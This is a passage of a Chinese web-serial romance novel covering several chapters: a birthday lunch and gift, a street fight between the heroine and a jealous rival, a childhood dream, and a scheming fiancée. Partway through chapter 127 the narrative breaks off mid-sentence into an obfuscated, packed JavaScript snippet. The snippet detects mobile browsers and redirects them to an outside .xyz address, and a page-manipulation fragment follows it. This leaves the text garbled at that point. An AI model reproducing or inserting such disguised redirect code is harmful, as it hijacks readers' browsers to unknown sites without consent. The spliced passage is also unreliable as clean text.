他阴暗地想,早知道他也不该那么痛快帮她,该让她跟求楼凤栖一样,对自己用尽手段。 可怎么舍得她吃苦? 楼铮的喉结滑动,满脑子旖旎的念头压不住。 “沈韫浓,我一直想不通一件事。为什么是楼凤栖,而不是我?” 过去太骄傲,他的自尊不允许问出这句话来。 如今话赶话,终于问出口,倒也没觉得那样难了。 沈韫浓给的答案也够直接:“因为他不够重要,惹了他,我有办法脱身。惹你,好像很难。” 事实证明,她的判断是对的。 即便到现在扳倒了沈英耀,她依然没有全身而退的把握。 最起码,她的心已经交出去了。 这个答案,楼铮没办法反驳。 沈韫浓甚至没有主动招惹他,是他见色起意,步步为营。 哪怕她表现出了那样明确的拒绝,他都没准备放手。 他的确不会让她脱身。 沉默了一瞬,这个话题两人都没有再继续。 沈韫浓是不想在他生日这种日子惹他不高兴,楼铮则是心虚。 虽然是中午,但西餐厅光线幽暗,氛围感十足。 沈韫浓替楼铮插蜡烛,又起身去关了房间的灯。 “许个愿吧。”她在他对面笑意盈盈地说。 楼铮强压下心动,双手合十看她:“我要听生日歌。” ……还挺有仪式感。 沈韫浓没说什么,拿了手机要搜,又听楼铮说:“你唱。” 她眼皮跳了跳,突然露出坏笑表情:“你确定?” 楼铮没答,但满眼期待。 沈韫浓也不推辞,咳了一声,清清嗓子,之后开口。 “祝你生日快乐……” 楼铮早在海底捞见识过她跑调的唱功,原本想着这首歌曲子简单,应该不至于太离谱。 他闭眼许愿,牙齿死死地咬住嘴里的软肉,告诉自己无论如何千万不要笑她,不然以后也就没有这个待遇了。 可这么简单一首歌,才六个字的歌词里沈韫浓破两个音不说,还是毫无修饰的大白嗓,知道的是她唱歌跑调,不知道的,还以为他在包间打她。 这么难听的声音,到底是怎么从这么漂亮的皮囊中发出来的? 楼铮一忍再忍,脸都憋红了,终于还是“噗”地一声笑出来,那口气直接把面前的数字蜡烛都吹熄了。 不曾想,沈韫浓把中文版唱完,见楼铮那个反应,竟然还能一脸认真地问:“英文版还要听吗?” 她已经起范儿了。 楼铮赶忙拒绝:“不用,不用。有幸听了中文版,已经很知足了!” 比起唱歌,他更愿意听沈韫浓在床上叫。 吃完饭,本以为已经结束。 路过奢侈品专柜,楼铮不动:“沈韫浓,我要生日礼物。” 沈韫浓大脑飞速运转。 她现在手里大概还有二十万。 她和顾曦薇的命都是楼铮救的,他过生日,自己的确该有所表示。 可她接下来还要生活,还要养顾曦薇。 没事,钱没了可以再赚,恩情还是要快点还清。 一分钟后,沈韫浓迅速拍板:“预算二十万,你挑。” 楼铮挑眉:“这么大方?” 表面大方,实则心在滴血。 楼铮又说:“哪有送人礼物,要人自己挑的?你去挑,我去喝杯咖啡等你。” 他转身去了隔壁的咖啡厅,把难题丢给了沈韫浓。 于是,沈韫浓去了爱马仕。 她挑来挑去,最终选了一对铂金镶钻的袖扣,正好刷了二十万。 沈韫浓看短信提醒,她卡里还剩一千多。 实在不行,还是要找再找个兼职,发工资前请林贞接济一下,她默默地想。 柜姐一边替她打包,一边夸赞:“小姐,您真有眼光,这款袖扣是限量版,海市总共两对,那一对昨天刚到就被我们的VIP客户取走了,您对您男朋友真好。” 沈韫浓笑笑,没有说话。 这对袖扣估计连楼铮平时饰品价格的零头都不够,但对她来说,已经是倾尽全力了。 他们本就不是一个世界的人,硬挤,只会让她局促。 沈韫浓拿了手提袋去咖啡厅找楼铮,一进门,就看到宋悠悠坐在了他对面。 第一百二十四章 狗男人套路她 宋悠悠脸朝门口的方向,她的神态正好落入沈韫浓眼中。 此时,宋悠悠一双眼睛含情脉脉地注视着楼铮。 “小爷,谢谢您救了我。如果不是您,我昨天……”她泫然欲泣,看上去楚楚可怜。 楼铮有点不耐烦,怎么就点这么背,在这儿碰上宋悠悠了。 但他现在不能走,也不能赶宋悠悠走,只能强压下不耐继续装:“不必客气,都是朋友,你找我了,我总不能见死不救。” 宋悠悠:“昨天那个人好像有点来头,如果他再打扰我,我可以再找您帮忙吗?” 楼铮:“当然。” 宋悠悠神情热情,看得出非常激动。 “小爷,谢谢您对我这么好。晚上我想请您吃个饭,您一定要赏脸。” 楼铮依然客气:“不巧了,晚上家族聚餐。” 宋悠悠微微垂眸,露出失落的模样,又抬眸:“那您的生日快到了,等您下周生日,我可以过去一起给您庆祝吗?” 楼铮:“当然。” 宋悠悠面露激动:“太好了,我给您准备了礼物!” 沈韫浓站在门口皱起眉。 楼铮骗她!他今天根本不过生日! 她转身要走,狗男人,早知道不花全部身家给他买礼物了。 却见楼铮猛地转头,脸上带着一抹促狭:“沈助理,躲什么?” 狗男人,他又老早发现她的存在了。 沈韫浓在心内吐槽,这个人怕不是警犬转世,观察力无人能敌。 她不得不走上前。 宋悠悠沉浸在跟楼铮陈情的激越心情里,反而没注意她,楼铮一说,才发现。 她露出一瞬间厌恶表情,没作声。 楼铮对沈韫浓伸手:“我的礼物呢?” 沈韫浓走过去,泄愤一般把礼袋放在楼铮面前的桌上。 “我下午还有事,就先走了。”她说。 楼铮:“我送你。” 沈韫浓拒绝:“不用,我已经手机叫好车了。” 说完,不等楼铮说话,她转身离开,更是一个眼神都没给宋悠悠。 看着那抹脚步飞快的背影,楼铮唇角的笑意放大。 这不是吃醋是什么? 小东西装得无所谓,吃起醋来这么精彩呢。 楼铮的心倏地柔软,却听宋悠悠道:“您听说了吗?沈韫浓的妈前阵子在澳城被卖了,又当起了婊·子。” 这话自然是看沈韫浓和他走得近不爽。 楼铮唇角的笑意收起,他静静地看着宋悠悠:“你说什么?” 宋悠悠:“没什么,就是听别人说的。沈韫浓她妈过去是在赌场数筹码的……” “你对这个职业这么感兴趣,我可以把你送去。”楼铮道。 宋悠悠见他冷淡的眼神,和不辨喜怒的脸色,心里打了个突。 “小爷开玩笑,我怎么会干那种不体面的勾当。”宋悠悠讪笑。 “都是靠卖脸的,你比她高贵什么?”楼铮起身,再看面前的蠢货一秒,他都要发脾气。 宋悠悠一时间脸上像打翻了调色盘。 她原本还想再提一嘴沈韫浓勾搭楼凤栖失败的事,此时,张了张嘴不敢说话。 说这些是想让楼铮讨厌沈韫浓,没想到竟然让他因此讨厌自己。 宋悠悠有种搬石头砸自己脚的感觉。 她比吃了屎还难受。 楼铮已经离开,宋悠悠的豪门梦破碎了一半,心情从云端跌到谷底,郁闷得要死。 回去后,她用自己小小的脑仁复盘这件事,也觉得自己做的欠考虑。 沈韫浓是楼铮前助理,长得又还不错,自己说她坏话太直接了,楼铮难免不爱听。 她该悄无声息地收拾掉沈韫浓,而不是让楼铮都察觉自己不喜欢她。 蠢人灵机一动最致命。 比如宋悠悠,就开始灵机一动。 回去后,她找人要了沈韫浓微信。 连发三个好友请求,谁知,对方跟没看到一样,鸟都没鸟她。 不得已,宋悠悠打了沈韫浓电话。 沈韫浓从商场回去后甚至没空生气。 那条手链被她放在了楼铮的办公室,请客加送礼,又怒花21万,她现在的当务之急是赚钱。 她又开始看翻译平台有没有单子可以接。 宋悠悠的微信请求她根本没看到,电话倒是接到了。 “沈韫浓,出来坐坐吧,有事跟你聊。” 电话那边颐指气使的女声让沈韫浓皱眉。 “抱歉,没空。” 宋悠悠:“占用不了你太多时间。” 沈韫浓:“我觉得你可以电话里说。” 宋悠悠愣了一下,问:“你没有录音吧?” 沈韫浓:“你如果是怕我电话录音,见面聊,我该录一样会录。” 宋悠悠沉默片刻,似妥协了。 “你要多少钱可以不出现在楼小爷面前?”她问。 经典狗血言情戏码发生在自己身上,沈韫浓精神一震。 “五百万。”她干脆利落,狮子大开口。 宋悠悠马上破防:“你也配?沈韫浓,你别不识抬举。要的话给你100万,不要就算了。” 沈韫浓起了捉弄的心思,笑了一声:“不要,你这个价太看不起楼铮了。诚心谈的话,那就400万,再低,就免谈了。” “你穷疯了吧沈韫浓?你当自己是什么了不得的人吗?一个婊子养的小婊子……”宋悠悠破口大骂。 沈韫浓神色淡淡:“你在哪儿?还是面谈吧。” 宋悠悠也许没料到她又约见面。 “你说去哪?” “都行。” 于是,宋悠悠说了个地方。 那是她工作室附近的咖啡馆,周围都是她的人。 到时候她关起门来吓唬她,就不信沈韫浓不老实。 此时林贞刚从在外面回来。 一进门就见沈韫浓换了一身粉色运动服往外走。 “干嘛去?” “找人算账。” 林贞坚持跟沈韫浓一起。 到了咖啡馆外面,沈韫浓让她在车里等。 林贞:“不行,打起来我得帮你!” 沈韫浓:“你就在外面专心记录我打人的精彩瞬间,真需要帮忙了再下车也不迟。” 林贞不再坚持。 沈韫浓下车,给宋悠悠拨回去。 “你出来吧,我到了。” 宋悠悠:“你进来吧,咖啡我都点好了。” 沈韫浓:“不必,我和你不是一起喝咖啡的交情。” 话说到这份上,宋悠悠也不再说什么。 她从里面出来,身边还跟了几个小跟班。 宋悠悠看着沈韫浓,眼里都是不屑。 “还真敢来?” 沈韫浓:“有些事电话里做不了。” 宋悠悠不屑:“你想做什么?” 沈韫浓盯着她的眼睛,宋悠悠都没看到她的手是怎么过来的,只听“啪”的一声,她的手抽在宋悠悠脸上。 力道之大,宋悠悠的头往一旁歪去,觉得自己脖子都要断了。 “你打我!”宋悠悠发出尖锐的爆鸣声。 *** PS:卑微作者,在线求催更,求评论,求五星好评~ 第一百二十五章 沈韫浓打人 沈韫浓动作实在利落,那响亮的一巴掌打得宋悠悠一个踉跄。 宋悠悠穿着高跟鞋,脚下一崴,更是疼得皱起了眉头。 她是个娇滴滴的大小姐,哪里经历过这个场面,直接懵了。 身后的小跟班也没有反应过来,一个个嘴巴张成O型,傻子似地看着沈韫浓。 沈韫浓又是一扯,宋悠悠脚下没根一样,直接飘到了她面前。 宋悠悠后面跟了三个女人,还有一个高大的男保镖。 其中一个女人目光跟沈韫浓对视上,被她带着寒意的眼神吓得一个激灵。 仿佛她再敢往前半步,那个耳光就要落到她脸上。 而另一个女人先反应过来,作势上前。 一边要扯沈韫浓的头发,一边要抓她的脸。 沈韫浓一只手还扯着宋悠悠衣领,另一只手随意一搡,那个女人就被她推得坐在了地上,发出尖叫声。 保镖想上前,也被沈韫浓狠狠瞪了一眼。 “这是我跟宋悠悠的事儿,别插手,越插手,我打她越狠。” 沈韫浓从前是世家圈子里有名的乖乖女,今天这一出,简直让众人开了眼界。 谁也没想到她这么凶,一个人敢打一帮。 宋悠悠面子上过不去,回过神,高跟鞋也甩掉了,挥着长指甲就要跟沈韫浓打个鱼死网破。 但好在沈韫浓的自由搏击不是白学的,她扣住宋悠悠的手腕,往旁边一推,宋悠悠直接被推到了咖啡馆的门上,发出“砰”的一声。 宋悠悠脸色发白,不知是因为疼还是因为丢脸。 她在沈韫浓的气势下,像一块案板上的鱼,毫无招架之力。 “你放开我。” 宋悠悠恼羞成怒,大喊大叫。 沈韫浓神色淡定:“道歉。” “你做梦……” 话音未落,沈韫浓再抬手。 “啪!” “啪啪!” 又是三记响亮的耳光。 宋悠悠脸色由白转红,目瞪口呆。 沈韫浓面无表情的看着她:“道歉。” 宋悠悠:“我就不,你妈是个发牌的婊子,你也是!” 沈韫浓继续抬手。 “啪!” “啪!” 她干脆利落,打得宋悠悠的脸当时就肿了起来。 她发疯的冲旁边尖叫:“你们死人啊!看着我挨打!” 沈韫浓按着宋悠悠打,她的跟班们都傻了。 宋悠悠不是个好伺候的,这些人在她手底下原本也不如意,又看到了第一个替她出头的人的下场,都有点观望的意思。 此时,不管怎么各怀鬼胎,也不得不冲上去帮忙。 几个女人一拥而上,那个高壮的保镖,更是在背后将沈韫浓猛地一扯。 他的体型是沈韫浓的两倍,本以为拎沈韫浓跟拎小鸡崽一样轻松。 谁知,还没将沈韫浓扯过去,后脑就挨了一棍子,是林贞拎着个棒球棍,凶神恶煞站在他们面前。 这里面只有林贞有工具,那男人被他敲得眼冒金星,龇牙咧嘴。 “兄弟们,给我打!”他喊了一声,从隔壁涌过来几个保镖模样的人。 几个人围成一个圈,向中间聚拢,把沈韫浓和林贞围困在内。 两人眼见着要吃亏。 沈韫浓不动声色把林贞往自己身后拉,林贞犟脾气上来,偏要往她前面挡。 那些人越走越近,沈韫浓面上不慌,却紧绷着一根弦。 “给我打死她!”宋悠悠已经挣脱出来,捂着脸歇斯底里。 那些保镖一再上前。 突然,一个白色的高大身影拨开人群。 “干什么呢就这是?挺热闹啊!” 懒洋洋的声线响起,接着,一个多星期没见的贺韶瑭站在了沈韫浓和林贞面前。 贺韶瑭还是一身白色西装,金丝眼镜腿上挂着一串钻石链子,直接跟领带夹连在一起,看上去花里胡哨却不女气,很吸睛。 一双桃花眼对沈韫浓眨了一下。 沈韫浓抬了抬眉毛,算是打过招呼。 心说,算这家伙来的是时候。 宋悠悠认识贺韶瑭,但是不怕。 她觉得,楼铮跟自己的事已经是板上钉钉了,贺韶瑭是楼铮的表弟,四舍五入自己就是贺韶瑭的表嫂了。 于是,宋悠悠拨开人群走到贺韶瑭面前去。 “贺少,沈韫浓欺负我,我教训她。”她对贺韶瑭说,让自己看上去不卑不亢。 贺韶瑭睨了宋悠悠一眼:“你谁啊?” 也配跟我说话? 宋悠悠脸已经被打得肿起来了,看不出有多抹不开面儿,她抿了抿唇道:“贺少,我是宋悠悠。” 贺韶瑭“哦”了一声,道:“不认识。” 宋悠悠:“我是楼小爷的……朋友。” 她想说是女朋友来着,又怕贺韶瑭去跟楼铮对账。 但宋悠悠很为贺韶瑭瞧不上她的表情生气,自己和楼铮是什么关系,他一个表弟,居然面对自己这么不客气! 贺韶瑭又拉长音“哦”了一声。 “有点印象了,那个十八线小网红是吧?” 沈韫浓垂眼憋笑,林贞已经噗嗤笑出声来。 宋悠悠眼底有屈辱,语气很硬:“贺少,今天这是我跟她的恩怨,请您不要插手。” “那你准备怎么对她?”贺韶瑭兴味十足,眼神里都是坏笑。 宋悠悠骄纵劲儿上来了,咬牙切齿:“我要沈韫浓给我下跪道歉,打自己十个耳光,再当众承认,她是婊子生的小婊子!” 沈韫浓神色冷得要命,她又是一步冲上去,有个保镖一挡,将她猛地往后推。 “你动她试试。”贺韶瑭的声音冷下来,抬起一脚,直接将那个保镖直接踹飞。 那个保镖又高又胖,贺韶瑭白白瘦瘦的,看着斯文的要命,谁都不知道那一脚是用的什么巧劲儿,保镖已经趴在了一旁的石墩上,吐出一口血。 宋悠悠外强中干,也吓得不轻。 此时已经有点心虚了,却依然强撑着道:“贺少,你就算不给我面子也该给楼小爷面子吧?” 贺韶瑭看她,眼神又恢复了刚才的玩味:“你的意思是,你跟她打架,楼铮会帮你?” 宋悠悠强撑:“您可以自己去打听打听,前几天我生日会,楼小爷主动来出席了,还给我送了稀有皮的喜马拉雅。” 贺韶瑭笑了一下,又看沈韫浓:“这事你知道吗?” 沈韫浓:“略有耳闻。” 贺韶瑭笑意放大:“那你怎么看?” 沈韫浓依旧冷静:“觉得楼铮挺瞎的。” 两人一唱一和,把旁边的宋悠悠气得鼻子都冒烟了。 也是这个时候,一个不悦的声音响起:“这里面还有我的事儿?” 第一百二十六章 怎么不打别人只打你 楼铮原本在苏娅的院内过生日。 今年苏娅只是提前了一周,已经不算离谱,要知道,去年他的生日可是在春节时过的,整整提前了四个月。 楼铮知足。 说起来,相比于楼展,苏娅不怎么喜欢楼铮这个大儿子的原因也挺好笑—— 苏娅觉得,楼铮太像老太太,跟楼家人一样骨子里刻薄又冷漠,没有人情味。 她跟楼铮不投脾气,觉得楼铮不如楼展贴心。 楼老太太有两个儿子,一个女儿,底下孙子孙女加起来有八个。 孙子里,楼铮最大,楼展最小,再加上他们的父亲去世的早,老太太对两人格外重视。 特别是楼铮,从小要星星不给月亮。 苏娅觉得,楼铮像奶奶家的人,冷漠,重利益。楼展随外婆家,是贴心小棉袄。 但对于老太太选楼铮当继承人,苏娅倒是一点异议都没有,左右肉烂了在锅里,到底是她儿子。 对于苏娅的偏心,楼铮小时候还抗争,长大后,发现除了苏娅,全家都围着自己转,特别是楼老太太,偏心他偏心得明显,弟弟楼展又是他的跟屁虫,慢慢也就平衡了。 这顿饭,他挺开心,跟苏娅吃饭的时候,都眉眼含笑。 当然不是对苏娅笑的,而是因为沈韫浓的礼物。 那对袖扣,他昨天才买了一模一样的。 虽说是他自己站在爱马仕专柜前,可爱马仕有那么多东西,但那款袖扣,全海市就两对,沈韫浓能买来另一对送他,这怎么不算心有灵犀呢? 楼铮想起来就心花怒放。 看他脸色好,苏娅都轻松不少,没那么心虚了。 “展展再有一个月也就回国了,我让他跟着你历练历练?”她趁机提要求。 楼铮点头:“可以,到时候让潘琳安排。” 他就当不为这个妈,是为自己弟弟考虑。 因为沈韫浓的午餐加礼物,楼铮被哄得熨帖,母子关系都缓和了不少。 饭后,母子竟然破天荒闲聊几句。 苏娅又说到了陈知意在海鲜酒楼为难沈韫浓的事。 趁机告陈知意的黑状:“她就是欺软怕硬,怎么换了你跟那个宋什么的传绯闻,她连个屁都不敢放了。” 居然还有这茬? 楼铮又默默记了陈知意一笔,淡声道:“她怎么不敢?昨天还找了个煤老板过去,给宋悠悠下药。” 苏娅来了精神:“快,说说怎么回事?” 楼铮添油加醋说了,苏娅皱眉:“真上不了台面,想进楼家想疯了吧?我一会儿就跟你奶奶说说去。” 楼铮:“……” 居然还有意外惊喜,不错。 再后来,楼铮就接到了陆枭的微信,寻了个借口出来给沈韫浓救场了。 有陆枭盯着,不会出什么大事,但他不放心,一定要来瞧一眼。 不曾想,一来就听到这么几句。 贺韶瑭那个狗东西说他也就罢了,沈韫浓居然一唱一和,欠收拾了是吧? 见楼铮过来,神情变化最大的是宋悠悠,就跟打架的狗见到了主人似的,眼睛倏的一下就亮起来了。 “楼小爷,我快要被沈韫浓打死了!” 宋悠悠肿着一张脸冲楼铮跑过去,楼铮微微一侧身,避开了,留宋悠悠伸出的手尴尬地停在半空。 贺韶瑭摆出一副看好戏的神情。 “喏,这位小姐说是你的人,现在‘你的人’欺负‘我的人’,说说怎么办吧。” 一句话,直接让楼铮寒了脸色。 “你是这么说的?” 楼铮看宋悠悠的神情异常不耐烦,“宋小姐,我看在你父亲宋总的面子上,给你几分薄面,你倒是会顺杆子爬啊,你解释解释,什么叫‘我的人’?!你不要名声,我楼铮还是要的。” 他不好明目张胆给沈韫浓撑腰,被贺韶瑭捷足先登占了便宜,已经满肚子不痛快。再看到宋悠悠这副蠢样,更是气不打一处来。 原来装对蠢女人感兴趣是这么痛苦的事儿,真的好掉价。 宋悠悠被楼铮质问得哑口无言。 只觉得难堪得恨不得遁地逃走。 她嗫喏:“不是……” 又急于说点什么,不想被楼铮轻视。 越急越不得要领,宋悠悠脑子一团浆糊。 最后只能脱口而出:“楼小爷,是沈韫浓先对我动手!” 说完,宋悠悠踏实了下来。 毕竟,她都没有打到沈韫浓,从头到尾都在吃亏,这一点她占理。 沈韫浓被她蠢得低头死死地咬住嘴唇,努力让自己不要笑出声。 楼铮扫她一眼,又看回宋悠悠,声音冷淡:“我又不是你小学班主任,两个女孩子扯头花的事儿也归我管?再说,她怎么不打别人只打你?就冲你白天那样说她的母亲,挨打也不冤枉。” 连“她怎么打你不打别人”这样的话都能说出来,楼铮的心都要偏到姥姥家去了。 林贞低头一忍再忍,又笑出声来。 “小爷,她不仅说了韫浓妈妈很多难听的话,还让韫浓给她磕头道歉,她挨打不冤。”林贞大声道。 她够机灵,怕楼铮师出无名,又补充,“她说自己跟你交情深厚,暗示我们她是你的人,谁也不能得罪她。她是故意在外面丢你的脸!” 一口大锅兜头扣下来,宋悠悠更加懵逼。 “不是……我……” 楼铮满脸失望地看着宋悠悠,叹了口气道:“原本,觉得你人不错,是真心想跟你交朋友,没想到,你居然这么利用我。” 宋悠悠百口莫辩,脸都憋紫了。 她拼命摇头,慌乱得不成样子。 “不是,小爷,您听我解释。” 如果下跪有用,宋悠悠马上就可以给楼铮跪下。 楼铮一脸无奈:“你这样,我也不好包庇你,只能任凭贺少处置了。” 贺韶瑭似笑非笑,看一眼楼铮,用眼神问:“利用我?” 楼铮眼神:“你自己看着办。” 贺韶瑭跟楼铮势不两立,可现在,都有一个共同想护着的人——沈韫浓。 再想想他刚在澳城帮了自己,贺韶瑭咬咬牙,看宋悠悠:“那你们跟我来。” 宋悠悠不敢动,求救般看着楼铮。 楼铮一副“不关我事”的神态。 接着,几个保镖的电棍便指向了宋悠悠和她的跟班们。 “快点!” 宋悠悠不敢不去,她脑子一片空白,只剩胆战心惊。 从小到大,她从来没有这么孤立无援过。 人都被贺韶瑭带走,一时间,只剩楼铮,沈韫浓和林贞。 第一百二十七章 被偏爱 楼铮没说话,但他用眼神审视沈韫浓。 这家伙没受伤,不仅如此,刚才**那么狠,自己连头发丝都没乱。 够机灵,够厉害,他喜欢。 眼光也好,会交朋友。 沈韫浓知道他在看什么。 “我没受伤。”她主动说。 又说,“抱歉哈,知道你留着她有用,但我也控制不住,还害你从中为难。” 这话倒是没听出有多愧疚。 “我不为难。”楼铮还在看她,“但知道我留着她有用是什么意思?” 沈韫浓诧异反问:“你突然对她这么好,不是想利用她,难不成还是看上她了?你眼光不会那么差。” 楼铮:“……” 她倒是够通透,知道自己不可能对宋悠悠感兴趣。 那他昨天晚上生的闷气算什么?笑话吗? 楼铮面中发痒,隐约觉得自己好似长出了小丑的红鼻子来。 他伸手摸了摸鼻头,尴尬轻咳一声,才正色夸她:“她嘴巴不干净,你打她,是你有血性有孝心,做的不错。” 又话锋一转,“不过,你的确有错。知道自己错哪儿了吗?” 沈韫浓用眼神打了个问号。 楼铮曲起食指,在她脑门上轻轻弹了一下:“一个人单枪匹马的就敢冲过来打架,这儿是姓宋的的地盘,你怎么就这么莽?!” 沈韫浓垂下眼,摸了摸脑门儿,不疼。 她这架打得过瘾,没输但确实也挺惊险的,被楼铮奚落两句不算什么。 时间不早了,两人又聊了两句。 沈韫浓看站在不远处,正努力降低存在感的林贞,才对楼铮道:“我该回去了,你也早点休息。” 楼铮想多呆一会儿,又实在找不到留人的借口。 只能眼看着沈韫浓在他面前上了林贞的车。 不要急,再等等……楼铮对自己说着。 他做事一向求稳,可一对上沈韫浓就急不可耐。恨不得拿根绳子将她捆在身边才安心。 回去的路上,沈韫浓始终有点沉默。 她复盘刚才的一切。 在楼铮出现的时候,宋悠悠表现的那般忐忑慌乱又满怀期待,但她不同,她自始至终心里都是踏实的。 因为她知道,哪怕贺韶瑭会反水,楼铮也不会帮着宋悠悠欺负她。 他们同生共死过,她知道楼铮对她怎么样。 她被楼铮偏爱,所以有恃无恐。 偏爱,多么陌生的东西,好像除了楼铮,没有人给过她。 沈韫浓深吸了一口气,晃了晃脑袋,想把楼铮从脑子里甩出去,再这样下去,她的底线会不断下移。 毕竟,对楼铮心动是一件太容易的事。 林贞一路上都在看她脸色。 “宋悠悠那人没脑子,嘴又贱,她说什么,你不用往心里去。”她说。 沈韫浓回神,转头对她笑一下:“我知道,贞贞,谢谢。” “咱俩这么见外干嘛。”林贞最怕她客气,大喇喇道,“不过,从今天的情况来看,楼铮跟宋悠悠关系也不怎么样。” 这话沈韫浓没接。 她不想聊楼铮,心里有点乱。 当晚临睡前,沈韫浓收到了贺韶瑭的微信。 是一个视频—— 不知道在哪里,四周环境一片幽暗,宋悠悠和几个男女蹲在地上,一个个神情狼狈。 “既然嘴那么臭,那就吃点更臭的。” 贺韶瑭的声音在视频里传来,接着,几十盒鲱鱼罐头在众人面前打开。 “每人十盒,把这些吃完,你们就可以走了。”贺韶瑭说。 那些人瑟瑟发抖,却不得不捏着鼻子大口吃了起来。 镜头对准宋悠悠,视频里,是她面部特写。 宋悠悠一边吃一边干呕,呕得眼泪都出来了。 画外音贺韶瑭又说:“沈韫浓是我的人,欺负她之前,掂量掂量轻重。否则,下次可就不是吃鲱鱼罐头这样简单了。” 宋悠悠涕泗横流地点头,整个人瘫坐下去,像一堆烂泥。 沈韫浓面无表情地把视频看完,再次把楼铮从自己脑子里赶出去,就睡下了。 可楼铮这个“坏人”,偏偏又到了她的梦里。 她很少梦见小时候。 深夜,10岁的沈韫浓被顾曦薇丢在澳城风月场的小化妆间里。 她身上盖着顾曦薇的外套,缩在满是廉价脂粉味的沙发上,耳边是门外的喧嚣声。 沈韫浓闭上眼,用化妆棉塞住耳朵,试图睡过去。 可她已经一天没吃饭了,饿得实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867785|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡不着。 一个喝醉酒的男人嘴里叫着一个女人的花名,推门而入。 沈韫浓惊得坐起,接着,看到了那男人落在她身上的不怀好意的视线。 那男人扑过来时,沈韫浓拿起旁边不知哪个女公关落下的修眉刀,对着那人的脸划过去。 接着,画面一转,是顾曦薇死死抱住那男人的双腿,一边下跪,一边对沈韫浓喊:“快跑!” 那男人的拳脚落在顾曦薇的脸上身上,顾曦薇满脸是泪。 沈韫浓想要再次扑过去,被那男人一脚踢飞。 她的额头撞在桌角,流了一地的血。 再之后,她看到了楼铮。 梦里的楼铮是成年人,他抱起年幼的她,几拳就将那个男人打倒在地。 之后,对她们母女说:“走,我们离开这个地方。” 梦里的她10岁,因为营养不良,看上去皮包骨,弱小又无助。但二十几岁的楼铮,高大又沉默,抱着她站在那里,是救世主一般的存在。 夜深忽梦少年事,梦啼妆泪红阑干。 醒来时,耳边是林贞均匀的呼吸声,沈韫浓摸着湿了的枕头,出了好一会儿的神。 她已经有点分不清梦境还是现实。 只知道这件事后,顾曦薇脸上的伤休养了一个月,又被迫改了花名换了场子。 而她也终于不再需要跟那些女人挤在鱼龙混杂的宿舍里,有了一个廉租公寓住。 谁都可以骂顾曦薇是**,但她不行。 顾曦薇是傻是天真,但没有顾曦,她活不到今天。 而楼铮…… 满打满算,从去年秋天到现在,认识他才半年多时间,她已经开始拿他当救世主。 有他在,就觉得安全。 因为顾曦薇依赖美貌和男人解决一切,沈韫浓从小最恨靠男人,没想到自己有一天也会走上这条路上。 她最后的那点道德防线,已经快守不住。 天还早,沈韫浓睡不着,在黑暗中睁着眼发呆。 林贞翻身,将一条腿搭在她腿上,又抱住她的腰,拿她当抱枕用了。 沈韫浓的思绪被暂时打断,她回神。 现在有空胡思乱想,有空想楼铮,不如还是看看银行卡余额,想想怎么养顾曦薇吧。 第一百二十八章 自愿赠与 陈知意不敢跟踪楼铮,却一直在找人盯着宋悠悠。 因此,宋悠悠和沈韫浓在咖啡馆外打架的一幕,她几乎观看了全程的现场直播。 宋悠悠实在上不了台面,真不愧是暴发户的女儿。 虽然最后是贺韶瑭将宋悠悠带走了,可楼铮没有袒护她也是事实。 陈知意觉得,通过这件事,楼铮怎么也该下头了。 他总不至于糊涂到要跟一个小网红联姻吧?毕竟宋家比起陈家差了可不是一星半点。 这样想着,陈知意直接传了个视频给楼铮。 “有人拍到了宋悠悠和沈韫浓打架,应该是想发给营销号,被我拦住了。”她说。 见楼铮不回复,又问,“你在哪儿呢?感觉你从澳城回来就没见过呢,见一面呗。” 楼铮发了自己私人会所的位置给她。 陈知意到的时候,楼铮正靠着沙发喝威士忌,她走过去,找了个空杯子,给自己也倒了一杯。 “你怎么样,心情没受影响吧?”她故意问。 幽暗的灯光下,楼铮的神态不是特别分明。 “我受什么影响?”他撩起眼皮闲闲看她一眼。 楼铮不正面回答她,可陈知意要问。 陈知意:“毕竟现在都传你跟宋小姐关系不一般,说你喜欢她。” 楼铮“呵”了一声,喝了口酒,没有作声。 他喝,陈知意也喝。 一口加冰的威士忌入喉,陈知意只觉苦涩得厉害。 “所以你到底什么意思啊?别等奶奶问起来,我想帮你打掩护,都不知道说什么。”陈知意继续以退为进。 楼铮:“不用,你只要抓紧办画展,继续推迟婚期就行,其余的事情别管。” 陈知意一肚子火压不住:“推迟婚期有用吗?难道奶奶还会让一个小网红进门?你不知道她私生活多乱!” 楼铮似乎有点诧异她的反应,挑了下眉,眼神里有明显的嘲讽。 “你又不喜欢我,管这些做什么,再说了,宋家也不是什么没名没姓的人家。” 陈知意这时才发觉自己情绪太过激动了。 “其实,还有个办法。”她声音低下来,让自己心平气和,“既然两家都催,实在不行我们就先结婚,就当是应付长辈。结婚后你玩你的就是了,反正我也不会管你,怎么样?!等你以后遇到真的喜欢的人,我们再离了。” 楼铮嗤笑了一声:“那我不成二手货了?我喜欢的人又不是转转,干嘛收二手啊!既然是我喜欢到想结婚的人,我当然要给她最好的,包括我自己。” 他闷了一口酒,又问道:“你画展要办了吗?快了吗?” 他最关心这件事。 如果说之前还模棱两可,如今,楼铮已经铁了心不娶她。 陈知意的心沉了下去。 不得已,她说了自己办画展的日期,又硬聊了几句,悻悻地从会所离开。 回画室后,陈知意气得一通乱砸,掀翻了两张桌子,又毁了好几幅画,依然不能平静下来。 她对楼铮的占有欲原本就已经到了变态的程度,此刻更是达到了峰值。 不行,楼铮只能是她的,其余挡路的女人,都要死。 …… 这件事很快被沈韫浓抛到了脑后。 她太缺钱了,因为给楼铮买了生日礼物,本来出去租房的计划也推迟了,还住在林贞家。 周一,沈韫浓办了入职手续,开启了新的职业生涯。 不仅如此,她还在网上接了一套儿童故事书的翻译工作,做完的话也是很可观的一笔收入。 沈韫浓忙到飞起。 以至于很多事都是晚上睡觉时从林贞嘴里听到的。 林贞的房子很大,可两人宁愿其他卧室空着也要睡一起。 晚上,沈韫浓洗完澡坐在床上看那本故事书的原文,林贞拿着手机给她看:“你听说了吗?宋悠悠被好几个男的联合起来锤,已经上热搜了。” 